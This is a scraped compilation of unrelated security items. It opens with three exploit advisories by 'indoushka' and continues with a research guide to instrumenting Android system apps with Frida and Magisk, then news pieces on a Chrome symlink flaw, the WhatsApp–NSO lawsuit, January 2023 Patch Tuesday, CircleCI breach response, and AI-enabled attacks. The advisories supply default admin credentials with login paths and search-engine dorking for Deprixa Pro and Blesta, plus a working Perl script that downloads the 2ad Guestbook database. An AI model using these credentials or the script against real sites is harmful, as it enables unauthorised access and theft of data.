Deprixa Pro version 7.5 appears to leave a default administrative account in place post installation.

    ====================================================================================================================================| # Title     : DEPRIXA Pro V7.5 Insecure Settings Vulnerability                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 103.0(64-bit)                                              | | # Vendor    : https://deprixacargo.link/                                                                                         |  | # Dork      :                                                                                                                    |====================================================================================================================================poc :[+] The vulnerability is about leaving the default settings    During the installation of the script and using the default username and password  [+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : user=admin & pass=09731 [+] https://127.0.0.1/deprixaprosite/demo/login.phpGreetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |                                                                                                                                              |=======================================================================================================================================

Deprixa Pro 7.5 Insecure Settings

Blesta version 5.4.1 appears to leave a default administrative account in place post installation.

    ====================================================================================================================================| # Title     : blesta 5.4.1 Insecure Settings Vulnerability                                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0.1(64-bit)                                            | | # Vendor    : https://account.blesta.com/client/plugin/download_manager/client_main/download/209/blesta-5.4.1.zip                |  | # Dork      : Powered by Blesta, © Phillips Data, Inc.                                                                           |====================================================================================================================================poc :[+] The vulnerability is about leaving the default settings    During the installation of the script and using the default username and password[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : user=admin & pass=password [+] https://127.0.0.1/blesta/admin/login/Greetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |                                                                                                                                              |=======================================================================================================================================

Blesta 5.4.1 Insecure Settings

2ad Guestbook version 2.0 suffers from a database disclosure vulnerability.

====================================================================================================================================  
| # Title     : 2ad guestbook version 2.0 Database Disclosure Exploit                                                              |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit)                                              |   
| # Vendor    : http://www.2ad.free.fr                                                                                             |    
| # Dork      :                                                                                                                    |  
====================================================================================================================================

poc :

[-] Download the database: 

    The following Perl exploit will attempt to download the (livre-or.mdbsmdb.mdb ) file  
    The (livre-or.mdbsmdb.mdb) It is the database and contains all the data .

  [+] Dorking İn Google Or Other Search Enggine.

[+] save code as perl file : poc.pl

[+] code :

#!/usr/bin/perl -w  
#  
# 2ad guestbook version 2.0 Database Disclosure Exploit   
#  
# Author : indoushka  
#  
# Vondor :  http://www.2ad.free.fr

   use LWP::Simple;  
use LWP::UserAgent;

system('cls');  
print "\n[+] 2ad guestbook version 2.0 Database Disclosure Exploit [+] \n\n";  
system('color a');

if(@ARGV < 2)  
{  
print "[-]How To Use\n\n";  
&help; exit();  
}  
sub help()  
{  
print "[+] usage1 : perl $0 site.com /path/ \n";  
print "[+] usage2 : perl $0 localhost / \n";  
}  
($TargetIP, $path, $File,) = @ARGV;

$File="db/livre-or.mdbsmdb.mdb";  
my $url = "http://" . $TargetIP . $path . $File;  
print "\n Fuck you wait!!! \n\n";

my $useragent = LWP::UserAgent->new();  
my $request = $useragent->get($url,":content_file" => "D:/livre-or.mdb");

if ($request->is_success)  
{  
print "[+] $url Exploited!\n\n";  
print "[+] Database saved to D:/livre-or.mdb\n";  
exit();  
}  
else  
{  
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";  
exit();  
}

Greetings to :=========================================================================================================================  
                                                                                                                                      |  
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |          
                                                                                                                                      |  
=======================================================================================================================================

2ad Guestbook 2.0 Database Disclosure

By Vitor Ventura

This post is the result of research presented at Recon Montreal 2022. Two slide decks are provided along with this research . One is the presentation showing the whole process and how to do it on Google Play Protect services. The other one is a workshop on how

_By_ _Vitor Ventura_  

This post is the result of research presented at Recon Montreal 2022. Two slide decks are provided along with this research . One is the presentation showing the whole process and how to do it on Google Play Protect services. The other one is a workshop on how to do it on an emulator targeting MtpService.

**Motivation**

Performing reverse engineering on Android applications and/or malware is often about doing static analysis that is complemented by dynamic analysis. This is an approach that works perfectly with applications that run at the user level and have a user interface. However, the Android security model allows for the existence of system applications, which can be operating system applications, operator applications or vendor applications. This does not mean that the applications require special permissions. They may be regular applications or service provider applications that are pre-installed either by a vendor or by the telecom service provider.

One of the features associated with these applications is that they are uninstalable by the user - The best the user can do is uninstall the latest updates and suspend or deactivate the applications, but never uninstall them.

There are also system applications that are part of the Android framework which, are closed source, thus require reverse engineering to be analyzed.

A popular tool to perform dynamic analysis is the Frida Framework. To use it a researcher needs to inject the Frida library into the target application’s address space. This can be done either by running the Frida daemon with root level access on the device or by patching the target application and making it load the shared library version of Frida. If the target application is headless, i.e. without a user interface, the instrumentation can only be done by forcing the load of the shared library and patching the target application code.  

Doing such analysis should be easy by using an OEM version of the Android operating system; however, these images may not contain the target of our research which created the need to  enable the instrumentation of system applications on Android stock images.

This, however, presented a bigger challenge than originally expected due to the protection mechanisms in place in the Android Operating system. Maddie Stone’s presentation at BlackHat 2019 describes both the limitations and vulnerabilities found on some system applications.

**Obstacles**

There are several limitations imposed by the Android security architecture, but also limitations imposed by the very nature of the availability of the target applications. This section will enumerate the limitations and solutions to those limitations.

**Operating system limitations**

It would be easy to obtain root level access on the operating system if one was to reflash the device with an open operating system like GrapheneOS however this presents two challenges:

1) Applications that are installed by vendors would not be present. Even though it is possible to install them, they may have checks regarding the operating system version they are running on. Eventually a static analysis along with patching could bypass such checks. But at this point the analysis environment would be tainted which could lead to biased results. Additionally there is also the risk of missing some checks.

2) Some vendors add protections to the kernel which won’t be present on this different operating system which tend to be more generic. As an example, Samsung ships most of their kernels with the SELinux permissions set to restricted without the possibility of change from user level.

**Headless applications**

System applications are often headless, meaning that they don’t have a launch activity or a user interface. Without it, tools like Frida or the debugger provided by the Android studio, are not able to start the application and debug it. Effectively the researcher doesn’t have the means to start the application or even to know, in a deterministic way, when the application will be executed.

One option could be the patching of the manifest and adding the launch activity. This poses its own problems, like deciding which existent activity would handle the request, and even checking if the code would be able to handle it. This leads to increased tampering with the application’s way of working, eventually creating unpredictable problems.

**Enabling dynamic analysis on the application**

On Android when doing dynamic analysis on a regular application the analyst can either activate the debug option on the application manifest or use an instrumentation toolkit like Frida.  To activate the debugging the researcher needs to change the debuggable attribute (android:debuggable="true") in the Application section of the application manifest to true, and repackage the application.

To use Frida, assuming there is no root level or the target application is headless, the analyst would need to patch the application, make it load the Frida Gadget and give it the Internet permission. These changes, like the previous, also need a  repackaging of the application.

Android requires that all application packages are digitally signed. In regular applications and in an open environment, the certificate that signs the application has little importance and a researcher can simply use a freshly generated self-signed certificate . However this is not the case if the target application is a system application. The sections ahead explain why.

**Android security architecture**

This section will describe the obstacles that a researcher must overcome to reach the point where it is possible to perform the dynamic analysis.

**Digital certificate collision**

As described above, in order to install an application its package needs to be digitally signed, which shouldn’t be a problem. However, there are a few situations where the certificate that signs the package actually matters. One of these cases, and for good security reasons, is when a user tries to upgrade an application. Imagine the following scenario;

An attacker is able to trick the victim into downloading and installing a fake Instagram application, posing it (to the system) as an upgrade to the original application. If there weren’t checks on the package signatures the malicious application would get access to all the data and configuration from the legitimate application. To avoid this, Android checks if the two applications are signed by the same certificate. If they are not, it won’t allow the installation of the fake upgrade. There are other ways to perform such an attack, but that is beyond the scope of this research.

This means that when the changes needed for dynamic analysis are made and the application is repacked, the patched application will not be able to be installed because the signatures will not match.

**Replace the original application**

Since the patched application cannot be installed on top of the original application, the obvious solution would be to simply uninstall the original one and replace it with the patched one. However this presents another barrier in this specific use case. As it was explained in the first section, these applications cannot be uninstalled. At best they can be deactivated but not uninstalled, making this a huge limitation to overcome in order to dynamically analyze these applications.

**Shared UIDs**

The fact that it's not possible to upgrade applications with different digital signatures is not the only limitation imposed. On the Android operating system, applications may share user IDs (UIDs). This is particularly useful if a developer wants to share information between applications using simple mechanisms provided by Linux without having to use mechanisms provided by the framework. However the security architecture imposes, and rightfully so, that applications that share the user ID must all be signed by the same certificate. Unfortunately, there are several system applications that share the same user ID, so it is likely that a researcher will bump into this limitation throughout their research.

**Solution**

The method to be able to dynamically analyze system applications on Android requires several actions.

**Step-by-step  
**

As it was shown in the previous sections there are several obstacles that need to be overcome in order to dynamically analyze system applications on the Android platform.  

Not necessarily in this order, but first the original target application needs to be uninstalled and removed, then identify if there are shared user ID applications. If these applications exist they need to be either uninstalled or re-signed with the same certificate used to sign the patched version of the target application. The image below illustrates the necessary steps.

Since system applications are often headless for the sake of this document, instrumenting target system application is the best way to perform non-interactive dynamic analysis.

This means that the application needs to be patched, and the instructions for it to load Frida library (gadget) into its address space must be added.

Before jumping into the details of the method it's important to explain the target and the environment. This research was conducted on the standard Android emulator using the Pixel 4 XL skin, an x86 image with API 30. For demonstration purposes the selected target application was the MtpService which is responsible for handling the MediaTransferProtocol setup when a new USB device is connected to the device. This is an open sourced application which was perfect for testing as the reversed code and behavior could always be compared  with the original code.

**Patching and re-signing target application  
**

The first step to patch the target is to unpack it using apktool which can be found here along with the instructions to pack and unpack applications.

The place to actually perform the patching will be highly dependent on the target application, there is not “_one spot fits all_”. As a rule of thumb the library should be  loaded as early as possible in the target application. A good way to do that is to load the library inside the method that handles the “BOOT\_COMPLETED” action as this will be the first one to be executed upon device reboot.  

The manifest will have the class that handles that action named on the receiver section. In the target application the class is called “com.android.mtp.MtpReceiver”. In this class look for the “onReceive()” method as that will be the method that will be executed once the action is broadcasted.

Using the apktool one can decompile the classes.dex and edit the smali code to load the library. The smali code should look like the image below.

Line 151 declares a variable string object referred to as v0 and stores the word “gadget” inside of it. Line 153 invokes the static method “loadLibrary()” which resides inside the System package. With a single String object as argument, the v0 object was previously declared. These two instructions are enough to load a static library into the application address space. The image below illustrates how the code looks like in Java.

Now before repacking the whole application the Frida library needs to be added into the package. In the root of the package (created by apktool after extraction) create a directory called “lib/” inside it and create a directory with the architecture of the library, in this case it's “x86” since this is the emulator. Inside this directory place the library file.

Now, because of the Android installer there are a few tweaks that need to be done. First the library file must start with the prefix “lib” and end with the extension “.so”. So even though the instructions make the system load a library called “gadget”, the file name must be “libgadget.so”. Frida gadget needs a configuration file, whose details will be addressed in the next section. This file also needs to be inside the package so that it is made available upon the loading of the library. Frida gadget will look for a configuration file with the same name as the library itself but with an extension “.config”. So as per Android requirements this file must be called “libgadget.config.so”.

Conforming to these  naming criteria will ensure that upon installation the patched version of the target application will load the Frida gadget once the device is rebooted. Once all the files are in place, the application needs to be repacked into an APK file using apktool.

**Signing the target application  
**

Now the package needs to be re-signed. The certificate can be generated with a simple command such as :

keytool -genkey -v -keystore release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-alias

Keep in mind that this same certificate may be needed to sign applications that share the user ID (UID) with your target application. Before the package can be signed the zip file needs to be aligned which is done with the command below.

zipalign -v -p 4 <package\_file> <output>

Afterwards the package should be signed using the apksigner with the command line below:

apksigner sign --ks <path to java keystore> --out <package name> <output  from zipalign>

**Searching for shared ID applications**

As It happens, the MtpService application installation still fails with the error below.

This means that there are applications that share the same userid but are signed with a different certificate. This can be confirmed by checking the manifest snippet below.

There is a property called “android:sharedUserId” which is defined and set to “android.media”, meaning that there are other applications that use the same userid. Any application using this shared userid must be a system application. A not very elegant but effective method to find all the applications is to download all the system applications, extract and convert the manifest into a text format and search for the shared id property.

Once all of these are known, they can either be removed, using the same technique described in the previous section; OR they can be replaced with a version signed with the same certificate. The latter is the preferred action because there may be unforeseen dependencies between the applications.

**Uninstall/replace the original target application package  
**

_This is a crucial step in this method_, without which Android security architecture will never allow the installation of the patched version of the target application. So in order to do this a tool called Magisk, will have to be installed. Magisk is a “rooting” tool that will allow users to obtain root level access on their devices without changing the whole operating system image. The tool provides a method for users to patch the kernel which can then be re-flashed into the device.

This method is the least intrusive possible, while allowing root access. Because these are system applications analysis, the root access is not that relevant (keep in mind that the application must be patched to have the Frida library in its own code) since there is no need to run Frida server as a daemon with high privileges.

Magisk has another crucial feature: It allows a user to define a virtual filesystem which will be laid on top of the actual file system at boot time. This allows any folder or file to be remapped to the version replacing the original ones flashed into the partitions upon system creation.

The first step is to install Magisk on the system that will be used for the analysis. The installation itself is beyond the scope of this article, but once installed you should be able to see the home screen of the Magisk Application, and should look something like the image below.

The application being  targeted here is stored at “/system/priv-app/MtpService/” and the image below shows that's where the application package is located at.

If one tries to delete the package manually, one can see that “/system” directory is mounted on a read-only filesystem which, as seen below, doesn’t allow the file to be deleted, even though the files are owned as root.

So the way to address this is to use what Magisk calls “modules”, where in reality a user can define a filesystem path to be overlaid by Magisk on top of the real path. Thus changing the contents of the real path. The overlay can simply delete a full path or replace it with one’s own contents.

The Magisk modules configuration is stored in “/data/adb/modules”, the full module documentation can be found here, and in this case one just needs to create a directory with the name desired for the module to have and recreate the path to overlay. By adding the file “.replace” on the last directory, one simply replaces that directory by an empty one.

The image above shows the empty directory after the module has been created.

Now that all the obstacles have been overcome, the patched application can simply be installed and the device rebooted. This should start the patched application with the instrumentation toolkit embedded in it and ready to use.

How to instrument system applications on Android stock images

Details have emerged about a now-patched vulnerability in Google Chrome and Chromium-based browsers that, if successfully exploited, could have made it possible to siphon files containing confidential data.
"The issue arose from the way the browser interacted with symlinks when processing files and directories," Imperva researcher Ron Masas said. "Specifically, the browser did not properly check

Browser Security / Data Safety

Details have emerged about a now-patched vulnerability in Google Chrome and Chromium-based browsers that, if successfully exploited, could have made it possible to siphon files containing confidential data.

"The issue arose from the way the browser interacted with symlinks when processing files and directories," Imperva researcher Ron Masas said. "Specifically, the browser did not properly check if the symlink was pointing to a location that was not intended to be accessible, which allowed for the theft of sensitive files."

Google characterized the medium-severity issue (CVE-2022-3656) as a case of insufficient data validation in File System, releasing fixes for it in versions 107 and 108 released in October and November 2022.

Dubbed SymStealer, the vulnerability, at its core, relates to a type of weakness known as symbolic link (aka symlink) following, which occurs when an attacker abuses the feature to bypass the file system restrictions of a program to operate on unauthorized files.

Imperva's analysis of Chrome's file handling mechanism (and by extension Chromium) found that when a user directly dragged and dropped a folder onto a file input element, the browser resolved all the symlinks recursively without presenting any warning.

In a hypothetical attack, a threat actor could trick a victim into visiting a bogus website and downloading a ZIP archive file containing a symlink to a valuable file or folder on the computer, such as wallet keys and credentials.

When the same symlink file is uploaded back to the website as part of the infection chain – e.g., a crypto wallet service that prompts users to upload their recovery keys – the vulnerability could be exploited to access the actual file storing the key phrase by traversing the symbolic link.

To make it even more reliable, a proof-of-concept (PoC) devised by Imperva employs CSS trickery to alter the size of the file input element such that the file upload is triggered regardless of where the folder is dropped on the page, effectively allowing for information theft.

"Hackers are increasingly targeting individuals and organizations holding cryptocurrencies, as these digital assets can be highly valuable," Masas said. "One common tactic used by hackers is to exploit vulnerabilities in software \[...\] in order to gain access to crypto wallets and steal the funds they contain."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Experts Detail Chromium Browser Security Flaw Putting Confidential Data at Risk

Categories: News
Tags: Pegasus

Tags:  spyware

Tags:  Pegasus spyware

Tags:  NSO Group

Tags:  NSO

Tags:  Apple

Tags:  WhatsApp

Tags:  Meta

Tags:  Foreign Sovereign Immunity Act

The US Supreme Court essentially gave Meta’s WhatsApp the go ahead to pursue their case against Pegasus’s NSO Group.



(Read more...)




The post WhatsApp lawsuit against NSO Group greenlit by Supreme Court  appeared first on Malwarebytes Labs.

On Monday, the US Supreme Court denied the NSO Group's petition for a _writ of certiorari_, a request to the high court to review its case, signaling that Meta's WhatsApp can go ahead with its case against the Israeli-based company behind the Pegasus spyware. The court didn't explain why it refused to hear the NSO's appeal.

If you recall, WhatsApp filed a lawsuit against NSO in 2019 under the Computer Fraud and Abuse Act for allegedly targeting and installing spyware on roughly 1,400 devices of its global users, including human rights activists, journalists, and government officials.

NSO group allegedly did this by exploiting a then zero-day vulnerability in WhatsAapp. Based on a detailed timeline of the case, NSO said it is protected by the Foreign Sovereign Immunity Act (FSIA), which shields foreign government officials from common law, making it immune to the lawsuit—an argument district court judges in California were unconvinced by.

The company then filed a motion to dismiss the case in the US Court of Appeals, insisting it should be granted immunity, much to the dismay of a number of organizations: Microsoft, Google, Cisco, GitHub, LinkedIn, VMWare, and Internet Association (IA). These companies then banded together to file an amicus brief supporting WhatsApp's case.

Microsoft said:

> “We believe the NSO Group's business model is dangerous and that such immunity would enable it and other PSOAs to continue their dangerous business without legal rules, responsibilities or repercussions. The expansion of sovereign immunity that NSO seeks would further encourage the burgeoning cyber-surveillance industry to develop, sell and use tools to exploit vulnerabilities in violation of US law. Private companies should remain subject to liability when they use their cyber-surveillance tools to break the law, or knowingly permit their use for such purposes, regardless of who their customers are or what they’re trying to achieve."

Eventually, the Appeals Court rejected NSO's appeal.

Appeals Court judge Danielle Forrest wrote in a unanimous opinion:

> "NSO does not contend that it meets the FSIA’s definition of 'foreign state,' and, of course, it cannot. It is not itself a sovereign. NSO is a private corporation that provides products and services to sovereigns — several of them," 
> 
> "Whatever NSO's government customers do with its technology and services does not render NSO an 'agency or instrumentality of a foreign state,' as Congress has defined that term. Thus, NSO is not entitled to the protection of foreign sovereign immunity."

The NSO Group's request for the Supreme Court to review its case was its last straw effort to be recognized as a foreign government agent and is, therefore, entitled to sovereign immunity.

In a statement to Reuters, WhatsApp spokesperson Carl Woog is quoted saying:

> "NSO's spyware has enabled cyberattacks targeting human rights activists, journalists and government officials. We firmly believe that their operations violate US law and they must be held to account for their unlawful operations."

Meta's WhatsApp is not the only tech giant suing the NSO Group. Apple also filed a lawsuit against the Israeli firm in November 2021 for violating terms of service by hacking into the devices of Apple users, calling the company "amoral 21st-century mercenaries."

**We don't just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

WhatsApp lawsuit against NSO Group greenlit by Supreme Court 

Categories: Exploits and vulnerabilities
Categories: News
Tags: patch Tuesday

Tags:  CVE-2023-21674

Tags:  APLC

Tags:  CVE-2023-21743

Tags:  Sharepoint

Tags:  CVE-2023-21563

Tags:  BitLocker

The second Tuesday of the year brings us many updates, including one for an actively exploited vulnerability that could lead to elevation of privileges



(Read more...)




The post Update now! Patch Tuesday January 2023 includes one actively exploited vulnerability appeared first on Malwarebytes Labs.

The first Microsoft Patch Tuesday of 2023 is an important one to start of the year with. In total 98 vulnerabilities were patched, including 11 that were labelled critical and one that is being actively exploited in the wild.

This is also the last time we expect to see fixes for Windows 8.1 included, since the support for Windows 8.1 ended January 10, 2023.

**ALPC**

Let’s start with the vulnerability that was found to be actively exploited in the wild. Publicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). The actively exploited vulnerability is listed as CVE-2023-21674.

The flaw is an Elevation of Privilege  (EoP) vulnerability in the Windows Advanced Local Procedure Call (ALPC). ALPC is an inter-process communication (IPC) facility provided by the Microsoft Windows kernel. The ALPC is an ideal attack surface for EoP vulnerabilities since it helps client processes communicate with server processes. So a vulnerability in this facility could be used to give a malicious client process the permissions of a service process, which are often SYSTEM privileges.

An EoP vulnerability by itself is not always of much use to an attacker, unless they can use the gained privileges to further compromise the target system. So it is likely that is has been spotted in the wild in combination or in a chain with other vulnerabilities.

The Cybersecurity and Infrastructure Security Agency (CISA) has added the vulnerability to its catalog of actively exploited vulnerabilities, urging federal agencies to apply patches by January 31, 2023.

**SharePoint Server**

Another vulnerability that deserves your immediate attention if you’re a Microsoft SharePoint Server user, is listed as CVE-2023-21743—a SharePoint Server security feature bypass vulnerability. In a network-based attack, an unauthenticated attacker could bypass authentication and make an anonymous connection. According to Microsofts’ description, exploitation is more likely and exploitation requires no user interaction.

It is very important to note that users have to trigger a SharePoint upgrade action, which is included in this update, to protect their SharePoint farm. The upgrade action can be triggered by running the SharePoint Products Configuration Wizard, the _Upgrade-SPFarm_ PowerShell cmdlet, or the "_psconfig.exe -cmd upgrade -inplace b2b_" command on each SharePoint server after installing the update.

**BitLocker**

Another interesting one, albeit only for those that use BitLocker, is CVE-2023-21563, a BitLocker security feature bypass vulnerability. BitLocker is a Windows volume encryption technology that protects your data from unauthorized access by encrypting your drive. Many travellers and remote workers trust BitLocker to keep sensitive data safe from prying eyes in case a laptop is lost or stolen. This flaw allows a successful attacker to bypass the BitLocker Device Encryption feature on the system storage device. Which means an attacker with physical access to the target system could exploit this vulnerability to gain access to encrypted data.

**Other updates**

Other vendors have synchronized their periodic updates with Microsoft. Here are few major ones that you may find in your environment.

**Adobe** released four patches to fix vulnerabilities in Acrobat and Reader, InDesign, InCopy, and Dimension software.

**Cisco** released security updates for its IP Phone 7800 and 8800 phones.

**Fortinet** published its monthly advisory covering issues in several of their products.

**Google** patched 60 vulnerabilities in the first Android update of 2023

**Intel** published a oneAPI Toolkit software advisory.

**SAP** published 12 new and updated patches.

**Synology** issued an advisory about a vulnerability that allows remote attackers to execute arbitrary commands through a susceptible version of VPN Plus Server.

Update now! Patch Tuesday January 2023 includes one actively exploited vulnerability

This Tech Tip outlines the steps enterprise defenders should take as they protect their data in cloud environments in response to the security incident with the CI/CD platform.

As CircleCI continues to investigate the security incident affecting its continuous integration and continuous delivery (CI/CD) platform, enterprise defenders should also be hunting for signs of malicious activities on third-party applications integrated with CircleCI.

In its Jan. 4 disclosure, CircleCI urged users to rotate all secrets stored within the platform and to check internal logs for any signs of "unauthorized access" starting from Dec. 21, 2022. Since enterprises integrate software-as-a-service (SaaS) applications and other cloud providers, defenders should also hunt for signs of malicious behavior on those environments as well.

**Step 1: Change Secrets**

The first step is to change all passwords, secrets, access tokens, environment variables, and public-private keypairs because the attackers may have stolen them. When organizations integrate CircleCI with other SaaS and cloud providers, they provide CircleCI with those authentication tokens and secrets. The breach with CircleCI means the platform itself is compromised, as are all the SaaS platforms and cloud providers integrated with CircleCI because those credentials are now exposed.

CircleCI is offering a script CircleCI-Env-Inspector to export a JSON-formatted list of the names of CI secrets that need to be changed. The list would not contain the values of the secrets, CircleCI said.

To run this script, clone the repository and execute the _run.sh_ file.

In subsequent updates, CircleCI said it has invalidated Project API tokens used by projects and that it has rotated all GitHub OAuth tokens on behalf of customers. Amazon Web Services is alerting customers via email with lists of potentially impacted tokens (subject line: _\[Action Required\] CircleCI Security Alert to Rotate Access Keys._) that customers should change.

For organizations using TruffleHog, the log scanning feature outputs any passwords or API keys that may have been accidentally logged. Run TruffleHog with the following flags:

trufflehog circleci –token=<token>

**Step 2: Check CircleCI for Suspicious Activity**

CircleCI has made self-serve audit logs available to all customers, including free customers, through the platform's user interface. Customers can query up to 30 days of data and have 30 days to download the resulting logs. CircleCI's documentation outlines how to use the logs.

The logs provide information about actions taken, by which actor, on which target, and at what time, according to a threat hunting guide from Mitiga. Look for log entries indicating actions taken by a CircleCI user during the time between Dec. 21, 2022, and when the secrets were changed and updated. Actions attackers may be interested in are those for gaining access (_user.logged\_in_) and maintaining persistence (_project.ssh\_key.create_, _project.api\_token.create_, _user.create_).

**Step 3: Hunt for Malicious Actors in Third-Party Apps**

The impact of the breach extends beyond CircleCI as it includes third-party applications that are integrated with the development platform, such as GitHub, Amazon Web Services (AWS), Google Cloud Platform (GCP), and Microsoft Azure. Enterprise defenders need to hunt for signs of malicious activity across each of the integrated SaaS applications and cloud providers.

**For GitHub:** CircleCI authenticates to GitHub via PAT, an SSH key, or locally generated private and public keys. Defenders should check GitHub security log for suspicious GitHub activity – such as _git.clone_ (copying the repository), _git.fetch_ and _git.pull_ (different ways of grabbing the code from the repository) – originating from CircleCI users, according to Mitiga's threat hunting guide. The GitHub Audit logs provide information about the actions performed, who performed the action, and when it was performed. Check the GitHub Audit logs containing _actor\_location_ and look for abnormal connections and operations originating from new IP addresses.

**For AWS:** Look at API management events actions in AWS CloudTrail's management activity logs. Search for events the CircleCI user shouldn't be performing, such as suspicious reconnaissance actions (for example, _ListBuckets GetCallerIdentitiy_), _AccessDenied_ events, and activity originating from unknown IP addresses and programmatic UserAgents (such as _boto3_ and _CURL_).

**For GCP:** Review Cloud Audit logs – Admin Activity audit logs, Data Access audit logs, and Policy Denied audit logs – via the Google Cloud console (Logs Explorer), the Google Cloud CLI, or the Logging API. Check which resources the service account used with CircleCI has permissions.

The API call:

searchAllIamPolicies

From the command line:

gcloud asset search-all-iam-policies

Search for abnormalities, such as an error severity record, weird timestamps, or unusual IP subnets, Mitiga recommends in its guide.

**For Azure:** Review sign-in errors and patterns in Azure Active Directory Sign-in logs and check for abnormalities, such as the date of the sign-in and the source IP address. The Azure Monitor activity log is a platform log in Azure providing information about subscription-level events such as when a resource is modified or a virtual machine is started. One thing to look for in this log is whether there are actions listed that are different from the ones the service account typically performs.

"Hunting for malicious actions done by compromised CI/CD tools in your organization is not trivial, because their scope goes beyond that CI/CD tool and affects other SaaS platforms integrated with it," Mitiga's team wrote in the guide.

Use CircleCI? Here Are 3 Steps You Need to Take

Current defenses are able to protect against today's AI-enhanced cybersecurity threats, but that won't be the case for long as these attacks become more effective and sophisticated.

Artificial intelligence and machine learning (AI/ML) models have already shown some promise in increasing the sophistication of phishing lures, creating synthetic profiles, and creating rudimentary malware, but even more innovative applications of cyberattacks will likely come in the near future.

Malware developers have already started toying with code generation using AI, with security researchers demonstrating that a full attack chain could be created. 

The Check Point Research team, for example, used current AI tools to create a complete attack campaign, starting with a phishing email generated by OpenAI's ChatGPT that urges a victim to open an Excel document. The researchers then used the Codex AI programming assistant to create an Excel macro that executes code downloaded from a URL and a Python script to infect the targeted system. 

Each step required multiple iterations to produce acceptable code, but the eventual attack chain worked, says Sergey Shykevich, threat intelligence group manager at Check Point Research.

"It did require a lot of iteration," he says. "At every step, the first output was not the optimal output — if we were a criminal, we would have been blocked by antivirus. It took us time until we were able to generate good code."

Over the past six weeks, ChatGPT — a large language model (LLM) based on the third iteration of OpenAI's generative pre-trained transformer (GPT-3) — has spurred a variety of what-if scenarios, both optimistic and fearful, for the potential applications of artificial intelligence and machine learning. The dual-use nature of AI/ML models have left businesses scrambling to find ways to improve efficiency using the technology, while digital-rights advocates worry over the impact the technology will have on organizations and workers. 

Cybersecurity is no different. Researchers and cybercriminal groups have already experimented with using GPT technology for a variety of tasks. Purportedly novice malware authors have used ChatGPT to write malware, although developers attempts to use the ChatGPT service to produce applications, while sometimes successful, often produce code with bugs and vulnerabilities.

Yet AI/ML is influencing other areas of security and privacy as well. Generative neural networks (GNNs) have been used to create photos of synthetic humans, which appear authentic but do not depict a real person, as a way to enhance profiles used for fraud and disinformation. A related model, known as a generative adversarial network (GAN), can create fake video and audio of specific people, and in one case, allowed fraudsters to convince accountants and human resources departments to wire $35 million to the criminals' bank account.

The AI systems will only improve over time, raising the specter of a variety of enhanced threats that can fool existing defensive strategies.

**Variations on a (Phishing) Theme**

For now, cybercriminals often use the same or similar template to create spear-phishing email messages or construct landing pages for business email compromise (BEC) attacks, but using a single template across a campaign increases the chance that defensive software could detect the attack.

So, one main initial use of LLMs like ChatGPT will be as a way to produce more convincing phishing lures, with more variability and in a variety of languages, that can dynamically adjust to the victim's profile.

To demonstrate the point, Crane Hassold, a director of threat intelligence at email security firm Abnormal Security, requested that ChatGPT generate five variations on a simple phishing email request. The five variations differed significantly from each other but kept the same content — a request to the human resources department about what information a fictional company would require to change the bank account to which a paycheck is deposited. 

**Fast, Undetectable Implants**

While a novice programmer may be able to create a malicious program using an AI coding assistant, errors and vulnerabilities still get in the way. AI systems' coding capabilities are impressive, but ultimately, they do not rise to the level of being able to create working code on their own.

Still, advances could change that in the future, just as malware authors used automation to create a vast number of variants of viruses and worms to escape detection by signature-scanning engines. Similarly, attackers could use AI to quickly create fast implants that use the latest vulnerabilities before organizations can patch.

"I think it is a bit more than a thought experiment," says Check Point's Shykevich. "We were able to use those tools to create workable malware."

**Passing the Turing Test?**

Perhaps the best application of AI system may be the most obvious: the ability to function as artificial humans. 

Already, many of the people who interact with ChatGPT and other AI systems — including some purported experts — believe that the machines have gained some form of sentience. Perhaps most famously, Google fired a software engineer, Blake Lemoine, who claimed that the company's LLM, dubbed LaMDA, had reached consciousness.

"People believe that these machines understand what they are doing, conceptually," says Gary McGraw, co-founder and CEO at the Berryville Institute of Machine Learning, which studies threats to AI/ML systems. "What they are doing is incredible, statistical predictive auto-associators. The fact that they can do what they do is mind boggling — that they can have that much cool stuff happening. But it is not understanding."

While these auto-associative systems do not have sentience, they may be good enough to fool workers at call centers and support lines, a group that often represents the last line of defense against account takeover, a common cybercrime.

**Slower Than Predicted**

Yet while cybersecurity researchers have quickly developed some innovative cyberattacks, threat actors will likely hold back. While ChatGPT's technology is "absolutely transformative," attackers will likely only adopt ChatGPT and other forms of artificial intelligence and machine learning, if it offers them a faster path to monetization, says Abnormal Security's Hassold. 

"AI cyberthreats have been a hot topic for years," Hassold says. "But when you look at financially motivated attackers, they do not want to put a ton of effort or work into facilitating their attacks, they want to make as much money as possible with the least amount of effort."

For now, attacks conducted by humans require less effort than attempting to create AI-enhanced attacks, such as deepfakes or GPT-generated text, he says.

**Defense Should Ignore the AI Fluff**

Just because cyberattackers make use of the latest artificial intelligence system does not mean the attacks are harder to detect, for now. Current malicious content produced by AI/ML models are typically icing on the cake — they make text or images appear more human, but by focusing on the technical indicators, cybersecurity products can still recognize the threat, Hassold stresses.

"The same sort of behavioral indicators that we use to identify malicious emails are all still there," he says. "While the email may look more legitimate, the fact that the email is coming from an email address that does not belong to the person who is sending it or that a link may be hosted on a domain that has been recently registered — those are indicators that will not change."

Similarly, processes in place to double check requests to change a bank account for payment and paycheck remittance would defeat even the most convincing deepfake impersonation, unless the threat group had access or control over the additional layers of security that have grown more common.

Better Phishing, Easy Malicious Implants: How AI Could Change Cyberattacks

